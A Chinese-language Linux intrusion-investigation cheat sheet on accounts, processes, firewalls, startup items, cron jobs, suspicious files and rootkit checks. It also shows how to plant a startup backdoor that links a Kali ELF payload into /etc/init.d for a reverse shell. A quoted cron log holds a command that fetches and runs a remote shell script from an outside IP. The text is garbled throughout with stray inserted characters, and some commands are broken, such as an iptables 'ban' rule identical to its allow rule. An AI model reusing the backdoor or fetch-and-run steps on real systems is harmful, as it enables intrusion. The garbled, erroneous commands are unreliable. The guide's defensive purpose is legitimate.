0x01 Linux 樹形系統(tǒng)結(jié)構(gòu)：

/bin
binary的簡寫
存放著linux基礎(chǔ)的可執(zhí)行文件丛晦，例如ls舷胜、cd .......
該目錄區(qū)別于/usr/bin，它可在沒有安裝其他文件系統(tǒng)單獨運行比如(單用戶)

/usr/bin
本地登陸用戶可訪問應(yīng)用程序/可執(zhí)行二進制文件
一般惡意軟件更容易感染該目錄下文件，例如ssh、top、crontab.......

/sbin
binary的簡寫
存放著linux基礎(chǔ)的可執(zhí)行文件镶柱，例如ls、cd .......
該目錄區(qū)別于/usr/bin模叙，它可在沒有安裝其他文件系統(tǒng)單獨運行比如(單用戶)

/usr/sbin
在系統(tǒng)啟動期間本地登陸的管理用戶有關(guān)系統(tǒng)管理的可執(zhí)行二進制文件
該目錄一般不容易出問題歇拆，除非是git.kernel.org被搞了，里邊命令例如
fastboot向楼、fdisk查吊、grub.......

/usr
unix software resource的簡寫
登陸用戶對linux操作的實際目錄，包含了linux的應(yīng)用程序/可執(zhí)行程序湖蜕、64/32 位的依賴庫逻卖、登陸用戶的配置文件、登陸用戶的底層管理程序昭抒、頭文件

/var
可以理解為linux的緩存目錄评也，大多數(shù)情況會以只讀掛載到/usr下用于系統(tǒng)的緩
存數(shù)據(jù)和應(yīng)用程序的緩存炼杖，例如應(yīng)用程序緩存、標(biāo)準(zhǔn)庫盗迟、某個程序運行導(dǎo)致的
文件設(shè)備的鎖定(apt坤邪、yum)、日志文件罚缕、pid信息

/lib艇纺、/lib32、/lib64邮弹、libex32黔衡、/libexec
/lib主要包含內(nèi)核模塊、引導(dǎo)系統(tǒng)以及l(fā)inux運行所需要的基本共享庫
/lib<qual>在不同(32/64)環(huán)境下會調(diào)用不同的基本共享庫
/libx32 是面向x32 ABI(x32 Application Binary Interface)的目標(biāo)文件和庫
/libexec不由用戶和shell執(zhí)行的二進制文件腌乡，一些lfs用于產(chǎn)品會有l(wèi)ibexec作為部 署程序
一些二進制可執(zhí)行程序劫持盟劫，會將so文件釋放到/lib下

/dev
device的簡寫
存放著一些特殊的文件和設(shè)備文件位置

/dev/null 是類Unix系統(tǒng)中的一個特殊文件設(shè)備，他的作用是接受一切輸入它的
數(shù)據(jù)并丟棄這些數(shù)據(jù)与纽。

/mnt
mount的簡寫侣签，掛接光驅(qū)、USB設(shè)備的目錄看文件已
經(jīng)被刪除急迂，但是進程還在跑的情況

mount /dev/nvme0n1pxx /mnt/xxxx // 掛載
umount /mnt/xxxx //卸載

/proc
linux偽文件系統(tǒng)影所，存儲了系統(tǒng)正在運行的所有信息，例如高級電源管理袋毙、引導(dǎo)參數(shù)型檀、
所有設(shè)備使情況......
通常我們會用ls –alth /proc/*/exe冗尤，查看某惡意進程對應(yīng)的二進制文件或查看文件已
經(jīng)被刪除听盖，但是進程還在跑的情況

/sys
linux偽文件系統(tǒng)，為linux提供內(nèi)核裂七、驅(qū)動皆看、設(shè)備信息，包括但不限于各種總線背零，有點
類似于window硬件管理

/root腰吟、/home
root用戶目錄、普通用戶目錄
都存放著用戶shell相關(guān)的配置文件徙瓶，例如.bashrc毛雇、.bash_history、.ssh侦镇、.config灵疮、

profile
可能會存在惡意alias(bashrc)、攻擊留下來的歷史命令信息(.bash_history)壳繁、用來維
持權(quán)限的免密登陸(.ssh/authorized_keys)震捣、一些軟件的配置信息(.config)
/boot
主要存放linux內(nèi)核文件以及引導(dǎo)加載程序荔棉，出現(xiàn)問題的比較少，利用難度比較高

/run
該目錄是臨時文件系統(tǒng)蒿赢， 存儲是啟動之后的所有信息

/srv
區(qū)別于/var目錄润樱，主要存儲用戶主動產(chǎn)生的數(shù)據(jù)和對外的服務(wù)

/tmp
臨時文件目錄，用戶存放用戶產(chǎn)生的臨時文件羡棵，可以隨時銷毀壹若，或者系統(tǒng)可以自動銷 毀，權(quán)限比較低
由于權(quán)限比較低皂冰，所以惡意軟件或者攻擊行為會在此路徑下生成或落地木馬以及工具舌稀。

0x02 賬號安全：

• 1、用戶信息文件 /etc/passwd（主要查看uid為0的賬戶）

# 格式：account:password:UID:GID:GECOS:directory:shell
# 用戶名：密碼：用戶ID：組ID：用戶說明：家目錄：登陸之后的 shell
root:x:0:0:root:/root:/bin/bash

# 查看可登錄用戶：
cat /etc/passwd | grep /bin/bash
awk -F: '{if($7!="/usr/sbin/nologin")print $1}' /etc/passwd
# 查看UID=0的用戶
awk -F: '$3==0{print $1}' /etc/passwd
awk -F: '{if($3==0||$4==0)print $1}' /etc/passwd
#查詢可以遠程登錄的帳號信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 查看sudo權(quán)限的用戶
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

useradd admin     #創(chuàng)建一個用戶灼擂，在home目錄下不創(chuàng)建文件夾
passwd admin      #修改之前創(chuàng)建的賬號的密碼
adduser admin2    #是一個比較完善的創(chuàng)建用戶的命令壁查，會在home目錄下生成一個admin2的文件夾

#禁用帳號，帳號無法登錄剔应，/etc/shadow第二欄為!開頭
usermod -L user    
#將刪除user用戶睡腿，并且將/home目錄下的user目錄一并刪除
userdel -rf user #-r 完全刪除一個賬戶   -f強制刪除

#如果遇到賬戶刪除顯示已經(jīng)刪除，但創(chuàng)建同名的用戶提示用戶已存在的情況峻贮，嘗試以下方法進行刪除席怪。
#手動刪除passwd、shadow纤控、group里面用戶相關(guān)字段挂捻，以及用戶相關(guān)的log和mail，并強制刪除home目錄下用戶的文件夾船万。
/home
/etc/passwd
/etc/group
/var/spool/mail

注意：無密碼只允許本機登陸刻撒，遠程不允許登陸

• 2、影子文件：/etc/shadow

# 用戶名：加密密碼：密碼最后一次修改日期：兩次密碼的修改時間間隔：密碼有效期：密碼修改到期到的警告天數(shù)：密碼過期之后的寬限天數(shù)：賬號失效時間：保留
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::

• 3耿导、查看當(dāng)前登錄用戶及登錄時長

who     # 查看當(dāng)前登錄系統(tǒng)的所有用戶（tty 本地登陸  pts 遠程登錄）
w       # 顯示已經(jīng)登錄系統(tǒng)的所用用戶声怔，以及正在執(zhí)行的指令
uptime  # 查看登陸多久、多少用戶舱呻，負載狀態(tài)

• 4醋火、排查用戶登錄信息
• 查看最近登錄成功的用戶及信息

# 顯示logged in表示用戶還在登錄
# pts表示從SSH遠程登錄
# tty表示從控制臺登錄，就是在服務(wù)器旁邊登錄
# 會讀取/var/log/wtmp箱吕，并把該給文件的內(nèi)容記錄的登入系統(tǒng)的用戶名單全部顯示出來芥驳。
last

• 查看最近登錄失敗的用戶及信息：

# ssh表示從SSH遠程登錄
# tty表示從控制臺登錄
# 讀取位于/var/log/btmp，并把該文件內(nèi)容記錄的登入失敗的用戶名單茬高，全部顯示出來
sudo lastb

• 顯示所有用戶最近一次登錄信息：

# /var/log/lastlog兆旬，根據(jù)UID排序顯示登錄名、端口號（tty）和上次登錄時間雅采。
lastlog

• 當(dāng)前登錄的用戶爵憎，每個用戶名對應(yīng)一個登錄會話慨亲。如果一個用戶不止一個登錄會話，其用戶名顯示相同次數(shù)

users

在排查服務(wù)器的時候宝鼓，黑客沒有在線刑棵，可以使用last命令排查黑客什么時間登錄的有的黑客登錄時，會將/var/log/wtmp文件刪除或者清空愚铡，這樣我們就無法使用last命令獲得有用的信息了蛉签。在黑客入侵之前，必須使用chattr +a對/var/log/wtmp文件進行鎖定沥寥，避免被黑客刪除

• 5碍舍、sudo用戶列表：/etc/sudoers

入侵排查：

# 查詢特權(quán)用戶特權(quán)用戶(uid 為0)：
awk -F: '$3==0{print $1}' /etc/passwd
# 查詢可以遠程登錄的帳號信息：
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帳號外，其他帳號是否存在sudo權(quán)限邑雅。如非管理需要片橡，普通帳號應(yīng)刪除sudo權(quán)限：
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

# 禁用或刪除多余及可疑的帳號
usermod -L user    # 禁用帳號，帳號無法登錄淮野，/etc/shadow 第二欄為 ! 開頭
userdel user       # 刪除 user 用戶
userdel -r user    # 將刪除 user 用戶捧书，并且將 /home 目錄下的 user 目錄一并刪除

0x03 進程排查：

ps aux
ps -ef
pstree -aup   

lsof -i:port
-i 篩選關(guān)鍵字，比如進程名骤星、PID经瓷、USER、IPv4/IPv6洞难、TCP/UDP

pstree -aphn
-a 顯示該進程命令行參數(shù)
-p 顯示pid
-h 高亮當(dāng)前進程以及父進程
-n 按照pid排序

使用 ps 命令舆吮，分析進程，得到相應(yīng)pid號：ps aux | grep 6666

查看 pid 所對應(yīng)的進程文件路徑：

# $PID 為對應(yīng)的 pid 號
ls -l /proc/$PID/exe 或 file /proc/$PID/exe
pwdx pid # 獲取啟動惡意文件的路徑

分析進程：

# 根據(jù)pid號查看進程
lsof -p 6071
# 通過服務(wù)名查看該進程打開的文件
lsof -c sshd
# 通過端口號查看進程：
lsof -i :22

獲取進程的status信息（啟動時間队贱，完整鏈路）：systemctl status pid
查看進程的啟動時間點：ps -p 6071 -o lstart
根據(jù)pid強行停止進程：kill -9 6071

注意：
如果找不到任何可疑文件色冀，文件可能被刪除，這個可疑的進程已經(jīng)保存到內(nèi)存中露筒，是個內(nèi)存進程呐伞。這時需要查找PID 然后kill掉

若文件描述符還在敌卓，即使文件被刪除還是可以用cp命令拿到原件：cp /proc/$pid/exe evil.exe
或者查看environ可以看到里面有該文件的路徑：cat /proc/$pid/environ

使用strings命令查看惡意文件的字符串

當(dāng)殺死的進程立刻重新啟動慎式，啟動之后這個程序會刪除本身，以達到隱藏自己的目的

若發(fā)現(xiàn)惡意進程殺死后立刻重啟趟径，通過編寫無限循環(huán)腳本殺死惡意進程：

• 場景一：
  通過父進程pid是1我們可以推測程序利用了 systemd重啟惡意程序瘪吏。
  通過程序無限重啟我們可以推測service的配置文件里面寫了Restart=always這個重啟策略。于是挨個去排查 /etc/systemd/里面注冊的 Restart=always的配置文件（未必可靠）

或者通過排查自啟動服務(wù)蜗巧，查找是否存在該惡意文件掌眠，假如惡意文件為/usr/sbin/httpd：grep -E "/usr/sbin/httpd" -r /usr/lib/systemd/system --color=auto

查看所有服務(wù)狀態(tài)：

service --status-all
service --status-all | grep + | awk -F '  ' '{print $2}' | xargs -I {} service {} status  | grep -Po  "/.*?(?=;)" | xargs ls -al -tr

# 禁用惡意服務(wù)
systemctl disable pmapx_start_2
systemctl stop pmapx_start_2

• 隱藏進程排查：

應(yīng)對方式一：unhide proc

unhide是一個小巧的網(wǎng)絡(luò)取證工具，能夠發(fā)現(xiàn)隱藏的進程和TCP/UDP端口幕屹。該工具在Linux蓝丙、UNIX级遭、Windows等操作系統(tǒng)中都可使用。在CentOS中安裝unhide時渺尘，首先需要安裝epel源：yum-y installepel-release挫鸽，然后安裝unhide：yum-y install unhide
項目地址：https://www.unhide-forensics.info/?Welcome

應(yīng)對方式二：busybox ps
以busybox方式執(zhí)行ps，可以不預(yù)加載庫對于劫持lib場景有奇效鸥跟。

應(yīng)對方式三：

sudo sysdig -c topprocs_cpu  # 查看cpu進程占用情況
sudo sysdig proc.name contains evil_script   # 針對包含evil_script的進程監(jiān)測
sudo sysdig -c topconns # 監(jiān)測網(wǎng)絡(luò)情況

防火墻相關(guān)：

#iptables
-t 接表名(raw'網(wǎng)址過濾',nat'地址轉(zhuǎn)換',filter'包過濾',mangle'數(shù)據(jù)包修改')
-L 列出表里的規(guī)則
-n 顯示IP
-v 顯示進階的信息展示
-A 將規(guī)則添加到最后丢郊，只有放到最后才能執(zhí)行
-i 指定網(wǎng)卡接口
-j 執(zhí)行操作(包括有且不限于ACCEPT、DROP医咨、RRDIRECT)

systemctl start/stop/restart/status iptables 防火墻開啟枫匾、關(guān)閉、重啟拟淮、狀態(tài)
iptables –L INPUT/OUTPUT -n 查看入站/出站規(guī)則
iptables -D INPUT 接規(guī)則號
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT 只允許某個網(wǎng)段連接22端口
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT ban掉某個網(wǎng)段對連接22端口

#firewalld
--state 防火墻狀態(tài)
--reload 不中斷服務(wù)重啟加載
--compete-reload 中斷所有連接重新加載
--runtime-to-premanent 永久保存添加的規(guī)則
--check-config 檢查配置
--get-log-denied 查看拒絕日志
--set-loag-denied 接參數(shù) 設(shè)置拒絕日志監(jiān)測等級(all/unicats/broardcast/multicast/off)

systemctl start/stop/restart/status firewalld 防火墻開啟干茉、關(guān)閉、重啟很泊、狀態(tài)
firewalld-cmd –-state 查看防火墻狀態(tài)
firewalld-cmd –-list-services 查看開放的服務(wù)
firewalld-cmdd –-add-ports=22/tcp 開啟22端口
firewalld-cmdd –-remove-ports=22/tcp 關(guān)閉22端口
firewalld-cmd –-reload 更新防火墻規(guī)則

0x04 系統(tǒng)信息排查：

#du
-s 顯示總計
-h 以合適單位輸出統(tǒng)計結(jié)果
df
-u 顯示當(dāng)前文件系統(tǒng)空間使用情況

#lspci
-v 以初階顯示設(shè)備詳細信息
-vv 以進階顯示設(shè)備詳細信息
-s xx:xx –vv 僅顯示總線和
插槽的設(shè)備信息等脂，xx:xx數(shù)值可以通過lspci獲得

#lsusb
-v 顯示USB的詳細信息
-s xx:xx –vv 僅顯示總線和設(shè)備號的設(shè)備信息，xx:xx數(shù) 值可以通過lspci獲得
-d xx:xx僅顯示指定廠商和產(chǎn)品編號的設(shè)備

#systemctl 系統(tǒng)服務(wù)管理指令
systemctl status sshd 查看ssh服務(wù)狀態(tài)
systemctl start sshd 啟動ssh服務(wù)
systemctl stop sshd  關(guān)閉ssh服務(wù)
systemctl enable sshd 設(shè)置ssh開機自啟動
systemctl disbale sshd 關(guān)閉ssh開機自啟動

• 通過 .bash_history 文件查看帳號執(zhí)行過的系統(tǒng)命令：

打開 /home 各帳號目錄下的 .bash_history撑蚌，查看普通帳號執(zhí)行的歷史命令上遥。
為歷史的命令增加登錄的 IP 地址、執(zhí)行命令時間等信息：

# 1争涌、保存1萬條命令：
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
# 2粉楚、在/etc/profile的文件尾部添加如下行數(shù)配置信息：
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
# 3、讓配置生效
source /etc/profile

注意：歷史操作命令的清除：history -c
該操作并不會清除保存在文件中的記錄亮垫，因此需要手動刪除 .bash_profile 文件中的記錄

• 檢查端口連接情況：

netstat -antlp | more
-a 顯示所有連接和端口
-n 以數(shù)字形式顯示ip和port
-t 顯示tcp
-u  顯示udp
-v  顯示指令執(zhí)行過程
-l 顯示監(jiān)聽的服務(wù)
-s   顯示網(wǎng)絡(luò)工作信息統(tǒng)計表
-p 顯示建立連接的進程名以及pid
ESTABLISHED 建立連接模软、LISTENING 偵聽狀態(tài)、TIME_WAIT 連接超時

ss –antpr
-a 顯示所有連接和端口
-n 不解析服務(wù)的名稱
-t 顯示tcp sockets
-l 顯示監(jiān)聽的端口
-p 顯示監(jiān)聽端口的進程
-r 把ip解析為域名

tcpdump –i eht0 -w eee.pcap
-i 要抓取的網(wǎng)卡接口
-w 要保存的文件名
-C 100m 大于100M分割為另一個包
-c 10000 超過1萬個停止抓包
src host xxx 僅僅捕獲由該主機發(fā)起的流量
drc host xxx 僅僅捕獲發(fā)往該ip地址的流量
src port xxx 僅僅捕獲由該端口發(fā)起的流量

如發(fā)現(xiàn)異常的網(wǎng)絡(luò)連接需要持續(xù)觀察饮潦，可抓包分析：

tcpdump -c 10 -q   //精簡模式顯示 10個包

• 檢查開機啟動項：

系統(tǒng)運行級別示意圖：

查看運行級別命令：

runlevel

開機啟動配置文件:

/etc/rc.local
/etc/rc.d/rc[0~6].d

啟動Linux系統(tǒng)時诱建，會運行一些腳本來配置環(huán)境——rc腳本稀并。在內(nèi)核初始化并加載了所有模塊之后仅颇，內(nèi)核將啟動一個守護進程叫做init或init.d。這個守護進程開始運行/etc/init.d/rc中的一些腳本碘举。這些腳本包括一些命令忘瓦，用于啟動運行Linux系統(tǒng)所需的服務(wù)

在上述每個目錄下有對應(yīng)的啟動文件，為軟鏈接文件引颈，真實文件都存放在/etc/rc.d/init.d/目錄中耕皮，文件名都是“字母S[K]+兩位數(shù)字+程序名”的形式境蜕。字母S表示Start，也就是啟動的意思凌停，字母K表示Kill汽摹，也就是關(guān)閉的意思

開機執(zhí)行腳本的兩種方法：

• 在/etc/rc.local的exit 0語句之間添加啟動腳本。腳本必須具有可執(zhí)行權(quán)限
• 用update-rc.d命令添加開機執(zhí)行腳本

1苦锨、編輯修改/etc/rc.local

2逼泣、update-rc.d：此命令用于安裝或移除System-V風(fēng)格的初始化腳本連接。腳本是存放在 /etc/init.d/目錄下的舟舒，當(dāng)然可以在此目錄創(chuàng)建連接文件連接到存放在其他地方的腳本文件拉庶。

此命令可以指定腳本的執(zhí)行序號，序號的取值范圍是 0-99秃励，序號越大氏仗，越遲執(zhí)行。

當(dāng)我們需要開機啟動自己的腳本時夺鲜，只需要將可執(zhí)行腳本丟在 /etc/init.d 目錄下皆尔，然后在 /etc/rc.d/rc.d 文件中建立軟鏈接即可*

語法：

• update-rc.d 腳本名或服務(wù) <remove|defaults|disable|enable>

#1、在/etc/init.d目錄下創(chuàng)建鏈接文件到后門腳本：
ln -s /home/b4yi/kali-6666.elf /etc/init.d/backdoor
#2币励、用 update-rc.d 命令將連接文件 backdoor 添加到啟動腳本中去
sudo update-rc.d backdoor defaults 99

開機即執(zhí)行腳本慷蠕，成功反彈到msf：

入侵排查：

查看開機啟動項內(nèi)容：

ls -alt /etc/init.d/
# /etc/init.d 是 /etc/rc.d/init.d  的軟連接

查看開機啟動項文件：

more /etc/rc.local

ll /etc |grep rc
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/

檢查開機自啟動列表：

systemctl list-unit-files|grep enabled

• 計劃任務(wù)排查：

保存在/var/spool/cron/{user}中，每個用戶都可以使用crontab -e命令編輯自己的定時任務(wù)列表食呻。而/etc/crontab是系統(tǒng)級別的定時任務(wù)流炕，只有root賬戶可以修改

需要注意的幾處利用cron的路徑：

crontab -l  # 列出當(dāng)前用戶的計時器設(shè)置
crontab -e  # 編輯計劃任務(wù)
crontab -r  # 刪除當(dāng)前用戶的cron任務(wù)
crontab -u  # 查看某用戶計劃任務(wù)

上面的命令實際上是列出了/var/spool/cron/crontabs/root 該文件的內(nèi)容：

查看下cron具體的情況：service cron status

root@ubuntu:/home/ubuntu# service cron status
● cron.service - Regular background program processing daemon
   Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
   Active: active (running) since Sat 2020-04-18 22:16:06 CST; 2 months 22 days ago
     Docs: man:cron(8)
 Main PID: 1225 (cron)
   CGroup: /system.slice/cron.service
           ├─ 1225 /usr/sbin/cron -f
           ├─ 2109 /usr/local/safe//agent -d
           ├─ 2122 barad_agent                                
           ├─ 2123 barad_agent                                
           ├─ 2124 barad_agent                                
           ├─25447 /var/tmp/kinsing
           └─25478 /tmp/kdevtmpfsi

Jul 11 00:54:41 ubuntu CRON[17243]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[16998]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[17406]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[18192]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19703]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19705]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)
Jul 11 00:55:01 ubuntu CRON[19706]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1)
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:03 ubuntu CRON[19703]: pam_unix(cron:session): session closed for user root

可以看到cron 執(zhí)行的命令記錄，還有一些關(guān)閉進程的信息之類

/etc/crontab 只允許root用戶修改
/var/spool/cron/ 存放著每個用戶的crontab任務(wù)仅胞，每個任務(wù)以創(chuàng)建者的名字命名
/etc/cron.d/ 將文件寫到該目錄下每辟，格式和/etc/crontab相同
把腳本放在/etc/cron.hourly/、/etc/cron.daily/干旧、/etc/cron.weekly/渠欺、/etc/cron.monthly/目錄中，讓它每小時/天/星期/月執(zhí)行一次

小技巧：

ls -al /var/spool/cron/    查看隱藏的計劃任務(wù)
more /etc/cron.daily/*  查看目錄下所有文件
cat /var/log/cron* 查看crontab日志確定編輯 crontab 的時間

入侵排查：重點關(guān)注以下目錄中是否存在惡意腳本：

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

入侵排查：

查詢已安裝的服務(wù)：
RPM 包安裝的服務(wù)：

chkconfig  --list  查看服務(wù)自啟動狀態(tài)椎眯，可以看到所有的RPM包安裝的服務(wù)
ps aux | grep crond 查看當(dāng)前服務(wù)

系統(tǒng)在3與5級別下的啟動項 
中文環(huán)境
chkconfig --list | grep "3:啟用\|5:啟用"
英文環(huán)境
chkconfig --list | grep "3:on\|5:on"

源碼包安裝的服務(wù):

查看服務(wù)安裝位置 挠将，一般是在/user/local/
service httpd start
搜索/etc/rc.d/init.d/  查看是否存在

0x05 異常文件檢查：

按照三種方式查找修改的文件：

• 按照名稱
• 依據(jù)文件大小
• 按照時間查找

ls -alth
-a 顯示所有文件
-l 顯示文件權(quán)限，屬組屬主盅视，大小捐名，日期
-t 按照時間順序排序
-h 高亮

grep file_content search_directory
-R 搜索字符串
-P 使用正則匹配
-n 包含字符串文件的行號

搜索運行代碼文件：
通過文件描述符和文件類型確認正在運行的文件：

# 文件描述符
cwd – Current Working Directory
txt – Text file
mem – Memory mapped file
mmap – Memory mapped device
NUMBER – Represent the actual file descriptor. The character after the number i.e ‘1u’, represents the mode in which the file is opened. r for read, w for write, u for read and write.
rtd：root directory;
lnn：library references (AIX);
er：FD information error (see NAME column);
jld：jail directory (FreeBSD);
ltx：shared library text (code and data);
mxx ：hex memory-mapped type number xx.
m86：DOS Merge mapped file;
mem：memory-mapped file;
mmap：memory-mapped device;
pd：parent directory;
tr：kernel trace file (OpenBSD);
v86  VP/ix mapped file;

# 文件類型：
REG – Regular File
DIR – Directory
FIFO – First In First Out
CHR – Character special file
BLK：塊設(shè)備類型
UNIX：UNIX 域套接字
IPv4：網(wǎng)際協(xié)議 (IP) 套接字

lsof | grep txt  | awk -F " "  '{print $NF}' | xargs ls -al -tr
lsof | grep "mem" | grep "253,1" | grep REG | awk -F " " '{print $NF} # 檢測so文件

linux文件不可修改權(quán)限：

chattr +I filename    給文件添加不可修改權(quán)限
chattr -I filename    將文件的不可修改權(quán)限去掉
chattr +a filename    給文件添加只追加權(quán)限
lsattr filename    查看文件是否設(shè)置了相關(guān)權(quán)限
-l參數(shù)：無論任何人想要刪除改文件均需要將此權(quán)限去掉
-a參數(shù)：讓目標(biāo)只能追加，不能刪除闹击，而且不能通過編輯器追加

如果root用戶都無法刪除相關(guān)文件，那么很可能是因為文件被加上了i屬性（設(shè)定文件不能被刪除成艘、改名赏半、設(shè)定連接關(guān)系贺归，同時不能寫入或新增內(nèi)容）。此時断箫，需要使用lsatter filename命令查看文件屬性拂酣，然后使用chattr-i filename命令移除i屬性，進而刪除文件

• 查看是否存在惡意的ssh公鑰：ls -alh /root/.ssh/

• 分析文件日期：

# access time：表示我們最后一次訪問（僅僅是訪問仲义，沒有改動）文件的時間
# modify time：表示我們最后一次修改文件的時間
# change time：表示我們最后一次對文件屬性改變的時間婶熬，包括權(quán)限，大小埃撵，屬性等等
# Birth time : 文件創(chuàng)建時間赵颅，crtime，不過據(jù)查此屬性linux已廢棄暂刘，目前狀態(tài)顯示結(jié)果均為-
stat xx.asp

• 發(fā)現(xiàn)最近三天新建的文件饺谬，并復(fù)制到bak目錄下：

find / -ctime 3 -type f 2>/dev/null | xargs -i cp {} ~/bak
find / -type f -newermt '2022-6-8 00:00' ! -newermt '2022-06-9 23:16'

去掉/sys/fs、/run/udev谣拣、/sys/kernel之類開頭的數(shù)據(jù)募寨，再根據(jù)黑客的習(xí)慣，比如把程序放在tmp目錄森缠，來鎖定一些文件

• 監(jiān)控新文件拔鹰，5分鐘刷新一次

watch -n 300 -d ls -lR /var/www/html/

• 根據(jù)名稱查找文件

find / -name a.Test
# 如果文件名記不全，可使用通配符*來補全
# 如果不區(qū)分大小寫贵涵，可以將-name 替換為-iname

• 依據(jù)文件大小查找：
  當(dāng)發(fā)現(xiàn)木馬后格郁，可以根據(jù)文件大小搜索有沒有其他木馬文件

find / -size +1000M
# +1000M表示大于1000M的文件，-10M代表小于10M的文件
find ./ -size -221c -size +219c -exec ls -lh {} \;

• 依據(jù)時間查找：

# 查找最近一天以內(nèi)修改的文件：
find / -mtime -1 -ls  | more 
# 查找50天前修改的文件：
find ./ -mtime +50 -ls

• -atime 最后一次訪問時間, 如 less, more 等, 但 chmod, chown, ls, stat 等不會修改些時間(使用ext3文件系統(tǒng)的時候独悴，如果在mount的時候使用了noatime參數(shù)那么就不會更新atime的 信息
• -mtime 文件內(nèi)容修改時間例书，如 vi 保存后等, 修改時間發(fā)生改變的話, atime 和 ctime 也相應(yīng)跟著發(fā)生改變.
• -ctime 最后一次狀態(tài)修改時間，如 chmod, chown 等狀態(tài)時間改變但修改時間不會改變, 使用 stat file 可以查看;（文件權(quán)限刻炒，所有者/組决采，文件大小等，當(dāng)然文件內(nèi)容發(fā)生改變坟奥，ctime也會隨著改變）
• 要注意：系統(tǒng)進程/腳本訪問文件树瞭，atime/mtime/ctime也會跟著修改，不一定是人為的修改才會被記錄

• 敏感目錄的文件分析：（類/tmp 目錄爱谁，命令目錄/usr/bin /usr/sbin 等）

按時間順序查：ls –alt /tmp/ | head -n 10

• 查找隱藏文件：ls -ar |grep "^\."
• 特殊權(quán)限文件查找：

find / *.jsp -perm 777
find / -perm 777 |more
find / *.sh -perm 777|grep .sh

• 根據(jù)屬主和屬組查找：

-user 根據(jù)屬主查找
-group 根據(jù)屬組查找
-nouser 查找沒有屬主的文件
-nogroup 查找沒有屬組的文件

# 查看屬主是root的文件
find ./ -user root -type f
# -type f表示查找文件晒喷，-type d表示查找目錄
# 注意：系統(tǒng)中沒有屬主或者沒有屬組的文件或目錄，也容易造成安全隱患访敌，建議刪除凉敲。

• 按照CPU使用率從高到低排序：

ps -ef --sort -pcpu

• 按照內(nèi)存使用率從高到低排序：

ps -ef --sort -pmem

補充：

1、查看敏感目錄，如/tmp目錄下的文件爷抓，同時注意隱藏文件夾势决，以“..”為名的文件夾具有隱藏屬性
2、得到發(fā)現(xiàn)WEBSHELL蓝撇、遠控木馬的創(chuàng)建時間果复，如何找出同一時間范圍內(nèi)創(chuàng)建的文件？
可以使用find命令來查找渤昌，如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前訪問過的文件
3虽抄、針對可疑文件可以使用 stat 進行創(chuàng)建修改時間

find / -ctime -2                # 查找72小時內(nèi)新增的文件
find ./ -mtime 0 -name "*.jsp"  # 查找24小時內(nèi)被修改的 JSP 文件
find / *.jsp -perm 4777         # 查找777的權(quán)限的文件
ls -a /tmp                      # 查看臨時目錄
strings /usr/sbin/sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.'    # 分析 sshd 文件，是否包括IP信息

計劃任務(wù)和啟動項：

chkconfig                   # 查看開機啟動服務(wù)命令
chkconfig --list | grep "3:啟用\|3:開\|3:on\|5:啟用\|5:開\|5:on"
ls /etc/init.d              # 查看開機啟動配置文件命令
cat /etc/rc.local           # 查看 rc 啟動文件
ls /etc/rc.d/rc[0~6].d
runlevel                    # 查看運行級別命令
crontab -l                  # 計劃任務(wù)列表
ls -alh /var/spool/cron     # 默認編寫的 crontab 文件會保存在 /var/spool/cron/用戶名 下
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

0x06 簡單基線檢查：

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check && chmod +x unix-privesc-check &&./unix-privesc-check > output.txt

0x07 內(nèi)核級后門檢查：

rootkit是一種特殊的惡意軟件独柑，功能是在安裝目標(biāo)上隱藏自身及指定的文件迈窟、進程和網(wǎng)絡(luò)連接等信息。rootkit一般會與木馬群嗤、后門等其他惡意程序結(jié)合使用菠隆。

在對應(yīng)目錄使用：ls -alt /bin，查看相關(guān)系統(tǒng)命令的修改時間狂秘，判斷是否有更改
在指定目錄使用：ls -alh /bin骇径，可查看相關(guān)文件大小，若明顯偏大者春，則很可能被替換

Rootkit Hunter 項目下載地址：https://sourceforge.net/projects/rkhunter/files/

wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz && tar -zxvf rkhunter-1.4.6.tar.gz && cd rkhunter-1.4.6 && chmod +x installer.sh && ./installer.sh --install && cd files && chmod +x rkhunter && ./rkhunter --propupd && ./rkhunter -c

rkhunter --check

